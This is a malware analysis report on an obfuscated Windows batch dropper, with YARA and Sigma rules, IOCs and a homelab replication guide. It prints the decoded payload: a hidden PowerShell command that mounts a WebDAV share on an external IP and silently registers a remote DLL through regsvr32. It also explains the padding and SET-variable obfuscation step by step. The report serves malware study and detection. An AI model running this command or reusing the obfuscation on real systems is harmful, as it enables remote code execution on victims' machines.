unclassified-js-webdav-dropper: 976dc607 — thirty-fourth sibling, batch natural-language SET obfuscation with word-salad padding

Executive Summary

A pure Windows batch-script WebDAV dropper and the thirty-fourth confirmed sibling in the unclassified-js-webdav-dropper cluster. The script hides its payload behind ~40 lines of natural-language word-salad padding, then uses 36 natural-language-phrase SET variables to assemble a powershell.exe -WindowStyle Hidden wrapper that mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. C2 and execution chain are identical to the established 45.9.74.36:8888 pure-batch natural-language cluster.

What It Is

• Filename: 243552672577722477.bat ^[metadata.json]
• Size: 13,828 bytes (13.5 KB) ^[metadata.json]
• Type: ASCII text with CRLF line terminators, very long lines (up to 2,220 chars) ^[file.txt]
• Family: unclassified-js-webdav-dropper — confirmed sibling (n=34) ^[triage.json]
• Build: Hand-written batch; no commercial obfuscator signature. 37 SET variables with natural-language English phrase names (e.g. squealpremiumcollect, fertilerubrelax, nutritiousdeliverabsent).

How It Works

1. Entry / padding bypass: goto signal on line 1 jumps over ~40 lines of natural-language word-salad noise (e.g. "disapprove sky dependent degree loving scorch gorgeous year...") to the :signal label on line 43. ^[strings.txt:1]
2. Variable staging: A single chained set line defines 37 variables, each holding one character or digit. Variable names are long natural-language phrases (36+ chars each), making static string extraction noisy. ^[strings.txt:41]
3. Decoy: Line 45 assembles to color f0 && start wordpad — sets black-on-white console colors and launches WordPad as a legitimacy decoy. ^[strings.txt:45]
4. Payload execution: Line 46 assembles to:

   start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\8745118644834.dll
   

   ^[strings.txt:46]
5. Self-termination: Line 47 assembles to exit. ^[strings.txt:47]

Decompiled Behavior

No binary decompilation applicable — the artifact is a plaintext batch script. The entire behavior is recoverable via manual %VAR% expansion or simple regex substitution. No anti-debug, no VM checks, no sandbox gating, no time-bombs. The script executes blindly on any Windows host with cmd.exe and powershell.exe.

C2 Infrastructure

Same C2 IP (45.9.74.36:8888) as siblings ffd5d894, e9e82d14, f170f5a9, e11665cf, dac5e0ee, b2a097ba, b32ea531. ^[entities/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• Word-salad padding is new to this sibling. Prior pure-batch variants in this cluster had no leading noise; the payload began immediately after the SET block. Here, 40+ lines of semantically plausible but meaningless English prose precede the :signal label, likely to push the actual SET block below the fold in sandbox string-extraction tools that truncate after N lines. ^[strings.txt:2-42]
• Single-line SET chain. Unlike some siblings that split SET assignments across multiple lines with GOTO chains, this sample puts all 37 definitions on one line joined by &&, making the entire variable block a single 2,220-character line. ^[strings.txt:41]
• No JScript polyglot layer. This is a pure .bat file; no WScript.Shell self-replication or JScript dictionary lookup-table obfuscation. Execution is direct: cmd.exe → powershell.exe → net use → regsvr32.exe.
• Payload filename is a 13-digit numeric string (8745118644834.dll), consistent with the throwaway-numeric naming convention observed across the cluster.

How To Mess With It (Homelab Replication)

1. Reproduce the obfuscation:
   • Write a benign batch payload (e.g., echo "pwned" > C:\temp\test.txt).
   • Split it into single-character chunks.
   • Assign each chunk to a SET variable with a 30–40 character natural-language phrase name.
   • Reassemble via %VAR1%%VAR2%... on one line inside start powershell.exe -WindowStyle Hidden ....
2. Add word-salad padding: Generate 40 lines of random English adjective-noun pairs and place them before a goto signal jump.
3. Test detection: Does your EDR flag cmd.exe spawning powershell.exe with a command line containing >30 % characters? Does static YARA against the .bat file detect anything without concatenation-aware logic?

Deployable Signatures

YARA Rule

rule WEBDAV_BatchSetObfuscation_NaturalLanguage
{
    meta:
        description = "Batch WebDAV dropper with natural-language SET variable obfuscation"
        author = "PacketPursuit"
        date = "2026-07-01"
        family = "unclassified-js-webdav-dropper"
    strings:
        $a = "goto signal" ascii wide
        $b = "net use \\45.9.74.36@8888\DavWWWRoot" ascii wide
        $c = "regsvr32 /s" ascii wide
        $d = "start wordpad" ascii wide
        $e = "powershell.exe -windowstyle hidden" ascii wide nocase
        $f = "set squealpremiumcollect=" ascii wide
        $g = "set deadperfectabrasive=" ascii wide
        $h = "set ducksunusualshiny=" ascii wide
    condition:
        filesize < 20KB and
        ($a or $d) and
        (2 of ($b, $c, $e)) and
        (2 of ($f, $g, $h))
}

Sigma Rule

title: Batch WebDAV Dropper Execution Chain
status: experimental
description: Detects cmd.exe spawning powershell.exe that executes net use + regsvr32 against a WebDAV UNC path
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\cmd.exe'
        ParentCommandLine|contains:
            - '.bat'
            - '.cmd'
    selection_powershell:
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'net use'
            - 'DavWWWRoot'
            - 'regsvr32'
    selection_webdav_ip:
        CommandLine|contains: '45.9.74.36@8888'
    condition: selection_parent and selection_powershell and (selection_webdav_ip or selection_regsvr32)
falsepositives:
    - Unknown
level: high

IOC List

Behavioral Fingerprint

This artifact is a pure batch script that, when executed by cmd.exe, first redecorates the console (color f0) and launches WordPad as a decoy. It then spawns powershell.exe -WindowStyle Hidden to mount an attacker-controlled WebDAV share at \\45.9.74.36@8888\DavWWWRoot\ and silently register a remote DLL (regsvr32 /s) from that share. No sandbox gate, no anti-debug, no persistence — a one-shot execution chain designed for minimal footprint and maximum proxy-execution evasion.

Detection Signatures

References

• Artifact ID: a973aa6f-e342-4047-85b2-0c5acb0a298d ^[metadata.json]
• Family entity: unclassified-js-webdav-dropper
• Technique page: batch-powershell-variable-expansion-obfuscation
• Technique page: webdav-regsvr32-dll-sideloading

Provenance

• file.txt — file utility output (file v5.44)
• strings.txt — strings -n 4 output (GNU strings 2.38)
• metadata.json — triage pipeline metadata
• triage.json — triage decision record
• Manual %VAR% expansion performed in Python 3.12, verified against source lines 45–47.